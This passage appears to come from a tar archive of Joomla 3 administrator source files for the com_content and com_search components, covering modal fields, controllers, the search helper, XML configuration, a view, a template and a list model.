			$html .= JHtml::_(
				'bootstrap.renderModal',
				'ModalNew' . $modalId,
				array(
					'title'       => JText::_('COM_CONTENT_NEW_ARTICLE'),
					'backdrop'    => 'static',
					'keyboard'    => false,
					'closeButton' => false,
					'url'         => $urlNew,
					'height'      => '400px',
					'width'       => '800px',
					'bodyHeight'  => '70',
					'modalWidth'  => '80',
					'footer'      => '<button type="button" class="btn"'
							. ' onclick="window.processModalEdit(this, \'' . $this->id . '\', \'add\', \'article\', \'cancel\', \'item-form\'); return false;">'
							. JText::_('JLIB_HTML_BEHAVIOR_CLOSE') . '</button>'
							. '<button type="button" class="btn btn-primary"'
							. ' onclick="window.processModalEdit(this, \'' . $this->id . '\', \'add\', \'article\', \'save\', \'item-form\'); return false;">'
							. JText::_('JSAVE') . '</button>'
							. '<button type="button" class="btn btn-success"'
							. ' onclick="window.processModalEdit(this, \'' . $this->id . '\', \'add\', \'article\', \'apply\', \'item-form\'); return false;">'
							. JText::_('JAPPLY') . '</button>',
				)
			);
		}

		// Edit article modal
		if ($allowEdit)
		{
			$html .= JHtml::_(
				'bootstrap.renderModal',
				'ModalEdit' . $modalId,
				array(
					'title'       => JText::_('COM_CONTENT_EDIT_ARTICLE'),
					'backdrop'    => 'static',
					'keyboard'    => false,
					'closeButton' => false,
					'url'         => $urlEdit,
					'height'      => '400px',
					'width'       => '800px',
					'bodyHeight'  => '70',
					'modalWidth'  => '80',
					'footer'      => '<button type="button" class="btn"'
							. ' onclick="window.processModalEdit(this, \'' . $this->id . '\', \'edit\', \'article\', \'cancel\', \'item-form\'); return false;">'
							. JText::_('JLIB_HTML_BEHAVIOR_CLOSE') . '</button>'
							. '<button type="button" class="btn btn-primary"'
							. ' onclick="window.processModalEdit(this, \'' . $this->id . '\', \'edit\', \'article\', \'save\', \'item-form\'); return false;">'
							. JText::_('JSAVE') . '</button>'
							. '<button type="button" class="btn btn-success"'
							. ' onclick="window.processModalEdit(this, \'' . $this->id . '\', \'edit\', \'article\', \'apply\', \'item-form\'); return false;">'
							. JText::_('JAPPLY') . '</button>',
				)
			);
		}

		// Note: class='required' for client side validation.
		$class = $this->required ? ' class="required modal-value"' : '';

		$html .= '<input type="hidden" id="' . $this->id . '_id" ' . $class . ' data-required="' . (int) $this->required . '" name="' . $this->name
			. '" data-text="' . htmlspecialchars(JText::_('COM_CONTENT_SELECT_AN_ARTICLE'), ENT_COMPAT, 'UTF-8') . '" value="' . $value . '" />';

		return $html;
	}

	/**
	 * Method to get the field label markup.
	 *
	 * @return  string  The field label markup.
	 *
	 * @since   3.4
	 */
	protected function getLabel()
	{
		return str_replace($this->id, $this->id . '_id', parent::getLabel());
	}
}
com_content/models/fields/voteradio.php000060400000002132152455305310014307 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_content
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JFormHelper::loadFieldClass('radio');

/**
 * Voteradio Field class.
 *
 * @since  3.8.0
 */
class JFormFieldVoteradio extends JFormFieldRadio
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  3.7.1
	 */
	protected $type = 'Voteradio';

	/**
	 * Method to get the field Label.
	 *
	 * @return array The field label objects.
	 *
	 * @throws \Exception
	 *
	 * @since  3.8.2
	 */
	public function getLabel()
	{
		// Requires vote plugin enabled
		return JPluginHelper::isEnabled('content', 'vote') ? parent::getLabel() : null;
	}

	/**
	 * Method to get the field options.
	 *
	 * @return array The field option objects.
	 *
	 * @throws \Exception
	 *
	 * @since  3.7.1
	 */
	public function getOptions()
	{
		// Requires vote plugin enabled
		return JPluginHelper::isEnabled('content', 'vote') ? parent::getOptions() : array();
	}
}
com_content/controllers/ajax.json.php000060400000004343152455305310014031 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_content
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\LanguageHelper;

/**
 * The article controller for ajax requests
 *
 * @since  3.9.0
 */
class ContentControllerAjax extends JControllerLegacy
{
	/**
	 * Method to fetch associations of an article
	 *
	 * The method assumes that the following http parameters are passed in an Ajax Get request:
	 * token: the form token
	 * assocId: the id of the article whose associations are to be returned
	 * excludeLang: the association for this language is to be excluded
	 *
	 * @return  null
	 *
	 * @since  3.9.0
	 */
	public function fetchAssociations()
	{
		if (!JSession::checkToken('get'))
		{
			echo new JResponseJson(null, JText::_('JINVALID_TOKEN'), true);
		}
		else
		{
			$input = JFactory::getApplication()->input;

			$assocId = $input->getInt('assocId', 0);

			if ($assocId == 0)
			{
				echo new JResponseJson(null, JText::sprintf('JLIB_FORM_VALIDATE_FIELD_INVALID', 'assocId'), true);

				return;
			}

			$excludeLang = $input->get('excludeLang', '', 'STRING');

			$associations = JLanguageAssociations::getAssociations('com_content', '#__content', 'com_content.item', (int) $assocId);

			unset($associations[$excludeLang]);

			// Add the title to each of the associated records
			$contentTable = JTable::getInstance('Content', 'JTable');

			foreach ($associations as $lang => $association)
			{
				$contentTable->load($association->id);
				$associations[$lang]->title = $contentTable->title;
			}

			$countContentLanguages = count(LanguageHelper::getContentLanguages(array(0, 1)));

			if (count($associations) == 0)
			{
				$message = JText::_('JGLOBAL_ASSOCIATIONS_PROPAGATE_MESSAGE_NONE');
			}
			elseif ($countContentLanguages > count($associations) + 2)
			{
				$tags    = implode(', ', array_keys($associations));
				$message = JText::sprintf('JGLOBAL_ASSOCIATIONS_PROPAGATE_MESSAGE_SOME', $tags);
			}
			else
			{
				$message = JText::_('JGLOBAL_ASSOCIATIONS_PROPAGATE_MESSAGE_ALL');
			}

			echo new JResponseJson($associations, $message);
		}
	}
}
com_content/controllers/featured.php000060400000004276152455305310013742 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_content
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('ContentControllerArticles', __DIR__ . '/articles.php');

/**
 * Featured content controller class.
 *
 * @since  1.6
 */
class ContentControllerFeatured extends ContentControllerArticles
{
	/**
	 * Removes an item.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function delete()
	{
		// Check for request forgeries
		$this->checkToken();

		$user = JFactory::getUser();
		$ids  = (array) $this->input->get('cid', array(), 'int');

		// Access checks.
		foreach ($ids as $i => $id)
		{
			// Remove zero value resulting from input filter
			if ($id === 0)
			{
				unset($ids[$i]);

				continue;
			}

			if (!$user->authorise('core.delete', 'com_content.article.' . (int) $id))
			{
				// Prune items that you can't delete.
				unset($ids[$i]);
				JError::raiseNotice(403, JText::_('JERROR_CORE_DELETE_NOT_PERMITTED'));
			}
		}

		if (empty($ids))
		{
			JError::raiseWarning(500, JText::_('JERROR_NO_ITEMS_SELECTED'));
		}
		else
		{
			// Get the model.
			/** @var ContentModelFeature $model */
			$model = $this->getModel();

			// Remove the items.
			if (!$model->featured($ids, 0))
			{
				JError::raiseWarning(500, $model->getError());
			}
		}

		$this->setRedirect('index.php?option=com_content&view=featured');
	}

	/**
	 * Method to publish a list of articles.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public function publish()
	{
		parent::publish();

		$this->setRedirect('index.php?option=com_content&view=featured');
	}

	/**
	 * Method to get a model object, loading it if required.
	 *
	 * @param   string  $name    The model name. Optional.
	 * @param   string  $prefix  The class prefix. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JModelLegacy  The model.
	 *
	 * @since   1.6
	 */
	public function getModel($name = 'Feature', $prefix = 'ContentModel', $config = array('ignore_request' => true))
	{
		return parent::getModel($name, $prefix, $config);
	}
}
com_content/controllers/articles.php000060400000006063152455305310013745 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_content
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

/**
 * Articles list controller class.
 *
 * @since  1.6
 */
class ContentControllerArticles extends JControllerAdmin
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @see     JControllerLegacy
	 * @since   1.6
	 */
	public function __construct($config = array())
	{
		parent::__construct($config);

		// Articles default form can come from the articles or featured view.
		// Adjust the redirect view on the value of 'view' in the request.
		if ($this->input->get('view') == 'featured')
		{
			$this->view_list = 'featured';
		}

		$this->registerTask('unfeatured', 'featured');
	}

	/**
	 * Method to toggle the featured setting of a list of articles.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function featured()
	{
		// Check for request forgeries
		$this->checkToken();

		$user   = JFactory::getUser();
		$ids    = (array) $this->input->get('cid', array(), 'int');
		$values = array('featured' => 1, 'unfeatured' => 0);
		$task   = $this->getTask();
		$value  = ArrayHelper::getValue($values, $task, 0, 'int');

		// Access checks.
		foreach ($ids as $i => $id)
		{
			// Remove zero value resulting from input filter
			if ($id === 0)
			{
				unset($ids[$i]);

				continue;
			}

			if (!$user->authorise('core.edit.state', 'com_content.article.' . (int) $id))
			{
				// Prune items that you can't change.
				unset($ids[$i]);
				JError::raiseNotice(403, JText::_('JLIB_APPLICATION_ERROR_EDITSTATE_NOT_PERMITTED'));
			}
		}

		if (empty($ids))
		{
			$message = null;

			JError::raiseWarning(500, JText::_('JERROR_NO_ITEMS_SELECTED'));
		}
		else
		{
			// Get the model.
			/** @var ContentModelArticle $model */
			$model = $this->getModel();

			// Publish the items.
			if (!$model->featured($ids, $value))
			{
				JError::raiseWarning(500, $model->getError());
			}

			if ($value == 1)
			{
				$message = JText::plural('COM_CONTENT_N_ITEMS_FEATURED', count($ids));
			}
			else
			{
				$message = JText::plural('COM_CONTENT_N_ITEMS_UNFEATURED', count($ids));
			}
		}

		$view = $this->input->get('view', '');

		if ($view == 'featured')
		{
			$this->setRedirect(JRoute::_('index.php?option=com_content&view=featured', false), $message);
		}
		else
		{
			$this->setRedirect(JRoute::_('index.php?option=com_content&view=articles', false), $message);
		}
	}

	/**
	 * Proxy for getModel.
	 *
	 * @param   string  $name    The model name. Optional.
	 * @param   string  $prefix  The class prefix. Optional.
	 * @param   array   $config  The array of possible config values. Optional.
	 *
	 * @return  JModelLegacy
	 *
	 * @since   1.6
	 */
	public function getModel($name = 'Article', $prefix = 'ContentModel', $config = array('ignore_request' => true))
	{
		return parent::getModel($name, $prefix, $config);
	}
}
com_search/helpers/search.php000060400000021534152455305310012273 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_search
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\String\StringHelper;

/**
 * Search component helper.
 *
 * @since  1.5
 */
class SearchHelper
{
	/**
	 * Configure the Linkbar.
	 *
	 * @param   string  $vName  The name of the active view.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public static function addSubmenu($vName)
	{
		// Not required.
	}

	/**
	 * Gets a list of the actions that can be performed.
	 *
	 * @return  JObject
	 *
	 * @deprecated  3.2  Use JHelperContent::getActions() instead.
	 */
	public static function getActions()
	{
		// Log usage of deprecated function.
		try
		{
			JLog::add(
				sprintf('%s() is deprecated. Use JHelperContent::getActions() with new arguments order instead.', __METHOD__),
				JLog::WARNING,
				'deprecated'
			);
		}
		catch (RuntimeException $exception)
		{
			// Informational log only
		}

		// Get list of actions.
		return JHelperContent::getActions('com_search');
	}

	/**
	 * Sanitise search word.
	 *
	 * @param   string  &$searchword   Search word to be sanitised.
	 * @param   string  $searchphrase  Either 'all', 'any' or 'exact'.
	 *
	 * @return  boolean  True if search word needs to be sanitised.
	 */
	public static function santiseSearchWord(&$searchword, $searchphrase)
	{
		$ignored = false;

		$lang          = JFactory::getLanguage();
		$tag           = $lang->getTag();
		$search_ignore = $lang->getIgnoredSearchWords();

		// Deprecated in 1.6 use $lang->getIgnoredSearchWords instead.
		$ignoreFile = JLanguageHelper::getLanguagePath() . '/' . $tag . '/' . $tag . '.ignore.php';

		if (file_exists($ignoreFile))
		{
			include $ignoreFile;
		}

		// Check for words to ignore.
		$aterms = explode(' ', StringHelper::strtolower($searchword));

		// First case is single ignored word.
		if (count($aterms) == 1 && in_array(StringHelper::strtolower($searchword), $search_ignore))
		{
			$ignored = true;
		}

		// Filter out search terms that are too small.
		$lower_limit = $lang->getLowerLimitSearchWord();

		foreach ($aterms as $aterm)
		{
			if (StringHelper::strlen($aterm) < $lower_limit)
			{
				$search_ignore[] = $aterm;
			}
		}

		// Next is to remove ignored words from type 'all' or 'any' (not exact) searches with multiple words.
		if (count($aterms) > 1 && $searchphrase != 'exact')
		{
			$pruned     = array_diff($aterms, $search_ignore);
			$searchword = implode(' ', $pruned);
		}

		return $ignored;
	}

	/**
	 * Does search word need to be limited?
	 *
	 * @param   string  &$searchword  Search word to be checked.
	 *
	 * @return  boolean  True if search word should be limited; false otherwise.
	 *
	 * @since  1.5
	 */
	public static function limitSearchWord(&$searchword)
	{
		$restriction = false;

		$lang = JFactory::getLanguage();

		// Limit searchword to a maximum of characters.
		$upper_limit = $lang->getUpperLimitSearchWord();

		if (StringHelper::strlen($searchword) > $upper_limit)
		{
			$searchword  = StringHelper::substr($searchword, 0, $upper_limit - 1);
			$restriction = true;
		}

		// Searchword must contain a minimum of characters.
		if ($searchword && StringHelper::strlen($searchword) < $lang->getLowerLimitSearchWord())
		{
			$searchword  = '';
			$restriction = true;
		}

		return $restriction;
	}

	/**
	 * Logs a search term.
	 *
	 * @param   string  $searchTerm  The term being searched.
	 *
	 * @return  void
	 *
	 * @since   1.5
	 * @deprecated  4.0  Use \Joomla\CMS\Helper\SearchHelper::logSearch() instead.
	 */
	public static function logSearch($searchTerm)
	{
		try
		{
			JLog::add(
				sprintf('%s() is deprecated. Use \Joomla\CMS\Helper\SearchHelper::logSearch() instead.', __METHOD__),
				JLog::WARNING,
				'deprecated'
			);
		}
		catch (RuntimeException $exception)
		{
			// Informational log only
		}

		\Joomla\CMS\Helper\SearchHelper::logSearch($searchTerm, 'com_search');
	}

	/**
	 * Prepares results from search for display.
	 *
	 * @param   string  $text        The source string.
	 * @param   string  $searchword  The searchword to select around.
	 *
	 * @return  string
	 *
	 * @since   1.5
	 */
	public static function prepareSearchContent($text, $searchword)
	{
		// Strips tags won't remove the actual jscript.
		$text = preg_replace("'<script[^>]*>.*?</script>'si", '', $text);
		$text = preg_replace('/{.+?}/', '', $text);

		// $text = preg_replace('/<a\s+.*?href="([^"]+)"[^>]*>([^<]+)<\/a>/is','\2', $text);

		// Replace line breaking tags with whitespace.
		$text = preg_replace("'<(br[^/>]*?/|hr[^/>]*?/|/(div|h[1-6]|li|p|td))>'si", ' ', $text);

		return self::_smartSubstr(strip_tags($text), $searchword);
	}

	/**
	 * Checks an object for search terms (after stripping fields of HTML).
	 *
	 * @param   object  $object      The object to check.
	 * @param   string  $searchTerm  Search words to check for.
	 * @param   array   $fields      List of object variables to check against.
	 *
	 * @return  boolean True if searchTerm is in object, false otherwise.
	 */
	public static function checkNoHtml($object, $searchTerm, $fields)
	{
		$searchRegex = array(
			'#<script[^>]*>.*?</script>#si',
			'#<style[^>]*>.*?</style>#si',
			'#<!.*?(--|]])>#si',
			'#<[^>]*>#i'
		);
		$terms = explode(' ', $searchTerm);

		if (empty($fields))
		{
			return false;
		}

		foreach ($fields as $field)
		{
			if (!isset($object->$field))
			{
				continue;
			}

			$text = self::remove_accents($object->$field);

			foreach ($searchRegex as $regex)
			{
				$text = preg_replace($regex, '', $text);
			}

			foreach ($terms as $term)
			{
				$term = self::remove_accents($term);

				if (StringHelper::stristr($text, $term) !== false)
				{
					return true;
				}
			}
		}

		return false;
	}

	/**
	 * Transliterates given text to ASCII.
	 *
	 * @param   string  $str  String to remove accents from.
	 *
	 * @return  string
	 *
	 * @since   3.2
	 */
	public static function remove_accents($str)
	{
		$str = JLanguageTransliterate::utf8_latin_to_ascii($str);

		// @TODO: remove other prefixes as well?
		return preg_replace("/[\"'^]([a-z])/ui", '\1', $str);
	}

	/**
	 * Returns substring of characters around a searchword.
	 *
	 * @param   string   $text        The source string.
	 * @param   integer  $searchword  Number of chars to return.
	 *
	 * @return  string
	 *
	 * @since   1.5
	 */
	public static function _smartSubstr($text, $searchword)
	{
		$lang        = JFactory::getLanguage();
		$length      = $lang->getSearchDisplayedCharactersNumber();
		$ltext       = self::remove_accents($text);
		$textlen     = StringHelper::strlen($ltext);
		$lsearchword = StringHelper::strtolower(self::remove_accents($searchword));
		$wordfound   = false;
		$pos         = 0;
		$length      = $length > $textlen ? $textlen : $length;

		while ($wordfound === false && $pos + $length < $textlen)
		{
			if (($wordpos = @StringHelper::strpos($ltext, ' ', $pos + $length)) !== false)
			{
				$chunk_size = $wordpos - $pos;
			}
			else
			{
				$chunk_size = $length;
			}

			$chunk     = StringHelper::substr($ltext, $pos, $chunk_size);
			$wordfound = StringHelper::strpos(StringHelper::strtolower($chunk), $lsearchword);

			if ($wordfound === false)
			{
				$pos += $chunk_size + 1;
			}
		}

		if ($wordfound !== false)
		{
			// Check if original text is different length than searched text (changed by function self::remove_accents)
			// Displayed text only, adjust $chunk_size
			if ($pos === 0)
			{
				$iOriLen = StringHelper::strlen(StringHelper::substr($text, 0, $pos + $chunk_size));
				$iModLen = StringHelper::strlen(self::remove_accents(StringHelper::substr($text, 0, $pos + $chunk_size)));

				$chunk_size += $iOriLen - $iModLen;
			}
			else
			{
				$iOriSkippedLen = StringHelper::strlen(StringHelper::substr($text, 0, $pos));
				$iModSkippedLen = StringHelper::strlen(self::remove_accents(StringHelper::substr($text, 0, $pos)));

				// Adjust starting position $pos
				if ($iOriSkippedLen !== $iModSkippedLen)
				{
					$pos += $iOriSkippedLen - $iModSkippedLen;
				}

				$iOriReturnLen = StringHelper::strlen(StringHelper::substr($text, $pos, $chunk_size));
				$iModReturnLen = StringHelper::strlen(self::remove_accents(StringHelper::substr($text, $pos, $chunk_size)));

				if ($iOriReturnLen !== $iModReturnLen)
				{
					$chunk_size += $iOriReturnLen - $iModReturnLen;
				}
			}

			$sPre = $pos > 0 ? '...&#160;' : '';
			$sPost = ($pos + $chunk_size) >= StringHelper::strlen($text) ? '' : '&#160;...';

			return $sPre . StringHelper::substr($text, $pos, $chunk_size) . $sPost;
		}
		else
		{
			if (($mbtextlen = StringHelper::strlen($text)) < $length)
			{
				$length = $mbtextlen;
			}

			if (($wordpos = StringHelper::strpos($text, ' ', $length)) !== false)
			{
				return StringHelper::substr($text, 0, $wordpos) . '&#160;...';
			}
			else
			{
				return StringHelper::substr($text, 0, $length);
			}
		}
	}
}
com_search/helpers/site.php000060400000001365152455305310011772 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_search
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Mock JSite class used to fool the frontend search plugins because they route the results.
 *
 * @since  1.5
 */
class JSite extends JObject
{
	/**
	 * False method to fool the frontend search plugins.
	 *
	 * @return  JSite
	 *
	 * @since  1.5
	 */
	public function getMenu()
	{
		$result = new JSite;

		return $result;
	}

	/**
	 * False method to fool the frontend search plugins.
	 *
	 * @return  array
	 *
	 * @since  1.5
	 */
	public function getItems()
	{
		return array();
	}
}
com_search/search.xml000060400000002514152455305310010637 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="component" version="3.1" method="upgrade">
	<name>com_search</name>
	<author>Joomla! Project</author>
	<creationDate>April 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>COM_SEARCH_XML_DESCRIPTION</description>
	<files folder="site">
		<filename>controller.php</filename>
		<filename>router.php</filename>
		<filename>search.php</filename>
		<folder>models</folder>
		<folder>views</folder>
	</files>
	<languages folder="site">
		<language tag="en-GB">language/en-GB.com_search.ini</language>
	</languages>
	<administration>
		<menu link="option=com_search" img="class:search">Search</menu>
		<files folder="admin">
			<filename>config.xml</filename>
			<filename>controller.php</filename>
			<filename>search.php</filename>
			<folder>controllers</folder>
			<folder>helpers</folder>
			<folder>models</folder>
			<folder>views</folder>
		</files>
		<languages folder="admin">
			<language tag="en-GB">language/en-GB.com_search.ini</language>
			<language tag="en-GB">language/en-GB.com_search.sys.ini</language>
		</languages>
	</administration>
</extension>
com_search/config.xml000060400000004014152455305310010634 0ustar00<?xml version="1.0" encoding="utf-8"?>
<config>
	<fieldset 
		name="component"
		label="COM_SEARCH_FIELDSET_SEARCH_OPTIONS_LABEL">
		<field
			name="enabled"
			type="radio"
			label="COM_SEARCH_CONFIG_GATHER_SEARCH_STATISTICS_LABEL"
			description="COM_SEARCH_CONFIG_GATHER_SEARCH_STATISTICS_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="search_phrases"
			type="radio"
			label="COM_SEARCH_FIELD_SEARCH_PHRASES_LABEL"
			description="COM_SEARCH_FIELD_SEARCH_PHRASES_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="search_areas"
			type="radio"
			label="COM_SEARCH_FIELD_SEARCH_AREAS_LABEL"
			description="COM_SEARCH_FIELD_SEARCH_AREAS_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="show_date"
			type="radio"
			label="COM_SEARCH_CONFIG_FIELD_CREATED_DATE_LABEL"
			description="COM_SEARCH_CONFIG_FIELD_CREATED_DATE_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">JSHOW</option>
			<option value="0">JHIDE</option>
		</field>

		<field
			name="opensearch_name"
			type="text"
			label="COM_SEARCH_CONFIG_FIELD_OPENSEARCH_NAME_LABEL"
			description="COM_SEARCH_CONFIG_FIELD_OPENSEARCH_NAME_DESC"
			default=""
		/>

		<field
			name="opensearch_description"
			type="textarea"
			label="COM_SEARCH_CONFIG_FIELD_OPENSEARCH_DESCRIPTON_LABEL"
			description="COM_SEARCH_CONFIG_FIELD_OPENSEARCH_DESCRIPTON_DESC"
			default=""
			cols="30"
			rows="2"
		/>

	</fieldset>

	<fieldset
		name="permissions"
		label="JCONFIG_PERMISSIONS_LABEL"
		description="JCONFIG_PERMISSIONS_DESC"
		>

		<field
			name="rules"
			type="rules"
			label="JCONFIG_PERMISSIONS_LABEL"
			filter="rules"
			validate="rules"
			component="com_search"
			section="component"
		/>

	</fieldset>
</config>
com_search/views/searches/view.html.php000060400000004747152455305310014242 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_search
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * View class for a list of search terms.
 *
 * @since  1.5
 */
class SearchViewSearches extends JViewLegacy
{
	protected $enabled;

	protected $items;

	protected $pagination;

	protected $state;

	/**
	 * Display the view.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 */
	public function display($tpl = null)
	{
		$app                 = JFactory::getApplication();
		$this->items         = $this->get('Items');
		$this->pagination    = $this->get('Pagination');
		$this->state         = $this->get('State');
		$this->filterForm    = $this->get('FilterForm');
		$this->activeFilters = $this->get('ActiveFilters');
		$this->enabled       = $this->state->params->get('enabled');
		$this->canDo         = JHelperContent::getActions('com_search');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// Check if plugin is enabled
		if ($this->enabled)
		{
			$app->enqueueMessage(JText::_('COM_SEARCH_LOGGING_ENABLED'), 'notice');
		}
		else
		{
			$app->enqueueMessage(JText::_('COM_SEARCH_LOGGING_DISABLED'), 'warning');
		}

		$this->addToolbar();
		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		$canDo = $this->canDo;

		JToolbarHelper::title(JText::_('COM_SEARCH_MANAGER_SEARCHES'), 'search');

		$showResults = $this->state->get('show_results', 1, 'int');

		if ($showResults === 0)
		{
			JToolbarHelper::custom('searches.toggleresults', 'zoom-in.png', null, 'COM_SEARCH_SHOW_SEARCH_RESULTS', false);
		}
		else
		{
			JToolbarHelper::custom('searches.toggleresults', 'zoom-out.png', null, 'COM_SEARCH_HIDE_SEARCH_RESULTS', false);
		}

		if ($canDo->get('core.edit.state'))
		{
			JToolbarHelper::custom('searches.reset', 'refresh.png', 'refresh_f2.png', 'JSEARCH_RESET', false);
		}

		JToolbarHelper::divider();

		if ($canDo->get('core.admin') || $canDo->get('core.options'))
		{
			JToolbarHelper::preferences('com_search');
		}

		JToolbarHelper::divider();
		JToolbarHelper::help('JHELP_COMPONENTS_SEARCH');
	}
}
com_search/views/searches/tmpl/default.xml000060400000000313152455305310014717 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_SEARCH_SEARCH_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_SEARCH_SEARCH_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>com_search/views/searches/tmpl/default.php000060400000006003152455305310014710 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_search
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the component HTML helpers.
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('bootstrap.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('formbehavior.chosen', 'select');

$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn = $this->escape($this->state->get('list.direction'));
?>
<form action="<?php echo JRoute::_('index.php?option=com_search&view=searches'); ?>" method="post" name="adminForm" id="adminForm">
	<?php if (!empty( $this->sidebar)) : ?>
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
	<?php else : ?>
	<div id="j-main-container">
	<?php endif; ?>
		<?php echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this, 'options' => array('filterButton' => false))); ?>
		<div class="clearfix"> </div>
		<?php if (empty($this->items)) : ?>
		<div class="alert alert-no-items">
			<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
		</div>
		<?php else : ?>
		<table class="table table-striped">
			<thead>
				<tr>
					<th class="nowrap">
						<?php echo JHtml::_('searchtools.sort', 'COM_SEARCH_HEADING_PHRASE', 'a.search_term', $listDirn, $listOrder); ?>
					</th>
					<th width="15%" class="nowrap">
						<?php echo JHtml::_('searchtools.sort', 'JGLOBAL_HITS', 'a.hits', $listDirn, $listOrder); ?>
					</th>
					<th width="1%" class="nowrap center">
						<?php echo JText::_('COM_SEARCH_HEADING_RESULTS'); ?>
					</th>
				</tr>
			</thead>
			<tfoot>
				<tr>
					<td colspan="3">
						<?php echo $this->pagination->getListFooter(); ?>
					</td>
				</tr>
			</tfoot>
			<tbody>
			<?php foreach ($this->items as $i => $item) : ?>
				<tr class="row<?php echo $i % 2; ?>">
					<td class="break-word">
						<?php echo $this->escape($item->search_term); ?>
					</td>
					<td>
						<?php echo (int) $item->hits; ?>
					</td>
					<?php if ($this->state->get('show_results')) : ?>

					<td class="center btns">
						<a class="badge <?php if ($item->returns > 0) echo 'badge-success'; ?>" target="_blank" href="<?php echo JUri::root(); ?>index.php?option=com_search&amp;view=search&amp;searchword=<?php echo JFilterOutput::stringURLSafe($item->search_term); ?>">
							<?php echo $item->returns; ?><span class="icon-out-2" aria-hidden="true"></span><span class="element-invisible"><?php echo JText::_('JBROWSERTARGET_NEW'); ?></span></a>
					</td>
					<?php else : ?>
					<td class="center">
						<?php echo JText::_('COM_SEARCH_NO_RESULTS'); ?>
					</td>
					<?php endif; ?>
				</tr>
			<?php endforeach; ?>
			</tbody>
		</table>
		<?php endif; ?>
		<input type="hidden" name="task" value="" />
		<input type="hidden" name="boxchecked" value="0" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</form>
com_search/models/searches.php000060400000010650152455305310012441 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_search
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Methods supporting a list of search terms.
 *
 * @since  1.6
 */
class SearchModelSearches extends JModelList
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @see     JController
	 * @since   1.6
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'search_term', 'a.search_term',
				'hits', 'a.hits',
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
